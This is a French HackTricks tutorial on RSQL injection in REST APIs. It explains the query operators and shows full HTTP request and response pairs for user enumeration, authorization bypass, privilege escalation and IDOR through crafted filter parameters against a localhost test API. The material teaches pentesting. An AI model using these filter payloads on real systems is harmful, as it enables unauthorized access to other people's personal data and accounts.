RSQL Injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que RSQL ?

RSQL est un langage de requête conçu pour le filtrage paramétré des entrées dans les API RESTful. Basé sur FIQL (Feed Item Query Language), spécifié à l’origine par Mark Nottingham pour interroger des flux Atom, RSQL se distingue par sa simplicité et sa capacité à exprimer des requêtes complexes de manière compacte et conforme aux URI sur HTTP. Cela en fait un excellent choix en tant que langage de requête général pour la recherche d’endpoints REST.

Aperçu

L’injection RSQL est une vulnérabilité dans les applications web qui utilisent RSQL comme langage de requête dans les API RESTful. Semblable à SQL Injection et LDAP Injection, cette vulnérabilité se produit lorsque les filtres RSQL ne sont pas correctement assainis, permettant à un attaquant d’injecter des requêtes malveillantes pour accéder, modifier ou supprimer des données sans autorisation.

Comment cela fonctionne-t-il ?

RSQL vous permet de construire des requêtes avancées dans les API RESTful, par exemple :

/products?filter=price>100;category==electronics

Cela se traduit par une requête structurée qui filtre les produits avec un prix supérieur à 100 et la catégorie “électronique”.

Si l’application ne valide pas correctement les entrées de l’utilisateur, un attaquant pourrait manipuler le filtre pour exécuter des requêtes inattendues, telles que :

/products?filter=id=in=(1,2,3);delete_all==true

Ou même profiter pour extraire des informations sensibles avec des requêtes booléennes ou des sous-requêtes imbriquées.

Risques

  • Exposition de données sensibles : Un attaquant peut récupérer des informations qui ne devraient pas être accessibles.
  • Modification ou suppression de données : Injection de filtres qui altèrent les enregistrements de la base de données.
  • Escalade de privilèges : Manipulation d’identifiants qui accordent des rôles via des filtres pour tromper l’application en accédant avec les privilèges d’autres utilisateurs.
  • Évasion des contrôles d’accès : Manipulation de filtres pour accéder à des données restreintes.
  • Usurpation d’identité ou IDOR : Modification d’identifiants entre utilisateurs via des filtres qui permettent d’accéder aux informations et ressources d’autres utilisateurs sans être correctement authentifié en tant que tel.

Opérateurs RSQL pris en charge

OpérateurDescriptionExemple
; / andOpérateur logique ET. Filtre les lignes où les deux conditions sont vraies/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orOpérateur logique OU. Filtre les lignes où au moins une condition est vraie/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Effectue une requête égal. Renvoie toutes les lignes de myTable où les valeurs dans columnA sont exactement égales à queryValue/api/v2/myTable?q=columnA==queryValue
=q=Effectue une requête de recherche. Renvoie toutes les lignes de myTable où les valeurs dans columnA contiennent queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Effectue une requête de type. Renvoie toutes les lignes de myTable où les valeurs dans columnA ressemblent à queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Effectue une requête in. Renvoie toutes les lignes de myTablecolumnA contient valueA OU valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Effectue une requête exclure. Renvoie toutes les lignes de myTable où les valeurs dans columnA ne sont ni valueA ni valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Effectue une requête non égal. Renvoie toutes les lignes de myTable où les valeurs dans columnA ne sont pas égales à queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Effectue une requête non type. Renvoie toutes les lignes de myTable où les valeurs dans columnA ne ressemblent pas à queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Effectue une requête inférieur à. Renvoie toutes les lignes de myTable où les valeurs dans columnA sont inférieures à queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Effectue une requête inférieur à ou égal à. Renvoie toutes les lignes de myTable où les valeurs dans columnA sont inférieures ou égales à queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Effectue une requête supérieur à. Renvoie toutes les lignes de myTable où les valeurs dans columnA sont supérieures à queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Effectue une requête égal à ou supérieur à. Renvoie toutes les lignes de myTable où les valeurs dans columnA sont égales ou supérieures à queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Effectue une requête de à. Renvoie toutes les lignes de myTable où les valeurs dans columnA sont égales ou supérieures à fromValue, et inférieures ou égales à toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Remarque : Tableau basé sur des informations provenant des applications MOLGENIS et rsql-parser.

Exemples

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Remarque : Tableau basé sur des informations provenant de l’application rsql-parser.

Filtres courants

Ces filtres aident à affiner les requêtes dans les API :

FiltreDescriptionExemple
filter[users]Filtre les résultats par utilisateurs spécifiques/api/v2/myTable?filter[users]=123
filter[status]Filtre par statut (actif/inactif, terminé, etc.)/api/v2/orders?filter[status]=active
filter[date]Filtre les résultats dans une plage de dates/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Filtre par catégorie ou type de ressource/api/v2/products?filter[category]=electronics
filter[id]Filtre par un identifiant unique/api/v2/posts?filter[id]=42

Paramètres courants

Ces paramètres aident à optimiser les réponses API :

ParamètreDescriptionExemple
includeInclut des ressources liées dans la réponse/api/v2/orders?include=customer,items
sortTrie les résultats par ordre croissant ou décroissant/api/v2/users?sort=-created_at
page[size]Contrôle le nombre de résultats par page/api/v2/products?page[size]=10
page[number]Spécifie le numéro de la page/api/v2/products?page[number]=2
fields[resource]Définit quels champs retourner dans la réponse/api/v2/users?fields[users]=id,name,email
searchEffectue une recherche plus flexible/api/v2/posts?search=technology

Fuite d’informations et énumération des utilisateurs

La requête suivante montre un point de terminaison d’enregistrement qui nécessite le paramètre email pour vérifier s’il y a un utilisateur enregistré avec cet email et renvoyer un vrai ou faux selon qu’il existe ou non dans la base de données :

Requête

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Bien qu’un /api/registrations?email=<emailAccount> soit attendu, il est possible d’utiliser des filtres RSQL pour tenter d’énumérer et/ou d’extraire des informations sur les utilisateurs grâce à l’utilisation d’opérateurs spéciaux :

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

Dans le cas où un compte email valide correspond, l’application renverrait les informations de l’utilisateur au lieu d’un classique “true”, “1” ou autre dans la réponse au serveur :

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Évasion d’autorisation

Dans ce scénario, nous partons d’un utilisateur avec un rôle de base et pour lequel nous n’avons pas de permissions privilégiées (par exemple, administrateur) pour accéder à la liste de tous les utilisateurs enregistrés dans la base de données :

Demande

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Encore une fois, nous utilisons les filtres et les opérateurs spéciaux qui nous permettront d’obtenir une alternative pour obtenir les informations des utilisateurs et d’éviter le contrôle d’accès. Par exemple, filtrer par ces users qui contiennent la lettre “a” dans leur ID d’utilisateur :

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Escalade de privilèges

Il est très probable de trouver certains points de terminaison qui vérifient les privilèges des utilisateurs en fonction de leur rôle. Par exemple, nous avons affaire à un utilisateur qui n’a aucun privilège :

Demande

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

En utilisant certains opérateurs, nous pourrions énumérer les utilisateurs administrateurs :

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Après avoir connu un identifiant d’utilisateur administrateur, il serait possible d’exploiter une élévation de privilèges en remplaçant ou en ajoutant le filtre correspondant avec l’identifiant de l’administrateur et en obtenant les mêmes privilèges :

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......

Usurpation d’identité ou Références d’Objet Direct Insecure (IDOR)

En plus de l’utilisation du paramètre filter, il est possible d’utiliser d’autres paramètres tels que include qui permet d’inclure dans le résultat certains paramètres (par exemple, langue, pays, mot de passe…).

Dans l’exemple suivant, les informations de notre profil utilisateur sont affichées :

Request

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

La combinaison de filtres peut être utilisée pour contourner le contrôle d’autorisation et accéder aux profils d’autres utilisateurs :

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks